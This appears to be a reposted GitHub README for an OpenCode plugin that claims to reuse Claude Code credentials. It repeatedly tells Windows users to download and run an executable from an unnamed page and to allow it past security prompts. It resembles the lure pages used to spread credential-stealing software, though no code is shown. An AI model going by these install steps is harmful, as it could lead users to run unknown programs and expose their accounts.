opencode-claude-auth:让 OpenCode 复用 Claude Code 凭证的插件
osuma2662/opencode-claude-auth
GitHub 项目 opencode-claude-auth 是一个 OpenCode 插件,让 OpenCode 直接复用已有的 Claude Code 登录凭证,无需单独注册账号。该插件以 TypeScript 编写,主要面向 Windows 10/11 用户,通过将 OpenCode 的认证请求转交给 Claude Code 凭证完成登录。
📥 Download
Use this link to visit the download page and get the files you need:
🪟 Windows setup
This app is meant to help OpenCode use your existing Claude Code credentials, so you do not need a separate login.
1. Open the download page
Go to:
2. Find the latest release
Look for the latest version on the page. Open the release files for Windows.
3. Download the Windows file
Choose the Windows download file that matches your system. Save it to your computer.
4. Run the app
Open the file you downloaded. If Windows asks for permission, choose to run it.
5. Connect your Claude Code account
Follow the on-screen steps to use your current Claude Code credentials.
6. Open OpenCode
Start OpenCode after setup. The plugin will use your Claude Code sign-in.
✨ What this plugin does
This plugin connects OpenCode to your Claude Code account so you can:
- Use your existing Claude Code access
- Skip a separate app login
- Keep your setup in one place
- Start working faster
- Use the same auth flow you already know
🧩 Who this is for
This is for people who:
- Use OpenCode on Windows
- Already have Claude Code credentials
- Want one login path
- Prefer a simple setup
- Do not want extra account steps
🖥️ System needs
Use a Windows PC with:
- Windows 10 or Windows 11
- A stable internet connection
- Enough disk space for the app files
- Permission to run downloaded apps
- An active Claude Code account
⚙️ How it works
The plugin sits between OpenCode and Claude auth. It uses your existing Claude Code sign-in flow instead of asking you to create a new one.
That means:
- OpenCode asks for auth
- The plugin passes that request to Claude Code credentials
- Claude Code handles the sign-in
- OpenCode receives access through the same account
🧭 First-time install steps
Step 1: Download
Visit the download page:
Step 2: Save the file
Pick a folder you can find again, such as Downloads or Desktop.
Step 3: Open the file
Double-click the downloaded Windows file.
Step 4: Allow the app
If Windows asks for a security prompt, choose the option to run or allow the file.
Step 5: Finish setup
Follow the prompts until the setup is done.
Step 6: Launch OpenCode
Open OpenCode and check that it uses your Claude Code credentials.
🔧 Basic use
After setup, use it like this:
- Start OpenCode
- Sign in with your Claude Code account if asked
- Use OpenCode as normal
- Keep your Claude Code session active when needed
📁 What you get
Typical files and parts of the project include:
- The plugin itself
- Windows setup files
- Auth handling for Claude Code
- TypeScript source files
- Configuration for OpenCode
🔍 Common file names
You may see files such as:
.exe.msi.zip- release notes
- plugin config files
Choose the Windows file if more than one file appears.
🛠️ If OpenCode does not connect
Try these steps:
- Check that you opened the latest file
- Make sure Claude Code credentials are still active
- Close OpenCode and open it again
- Download the file again if it looks damaged
- Reboot Windows and try once more
🧼 Clean setup tips
Keep the setup simple:
- Use one download folder
- Remove old files after you finish
- Keep your Claude Code login ready
- Use the latest release
- Close other apps if the install stops
📌 Project details
- Repository: opencode-claude-auth
- Type: OpenCode plugin
- Auth method: Claude Code credentials
- Main use: sign-in reuse
- Platform focus: Windows
- Language: TypeScript
🧠 Short path for most users
If you want the fastest path:
- Open the download page
- Download the Windows file
- Run the file
- Finish setup
- Open OpenCode
- Sign in with Claude Code
🔗 Download again
If you need the page later, use this link:
🧩 Keywords
ai, anthropic, authentication, claude, claude-code, homebrew, nodejs, oauth, opencode, opencode-plugin, typescript
来源:GitHub · github.com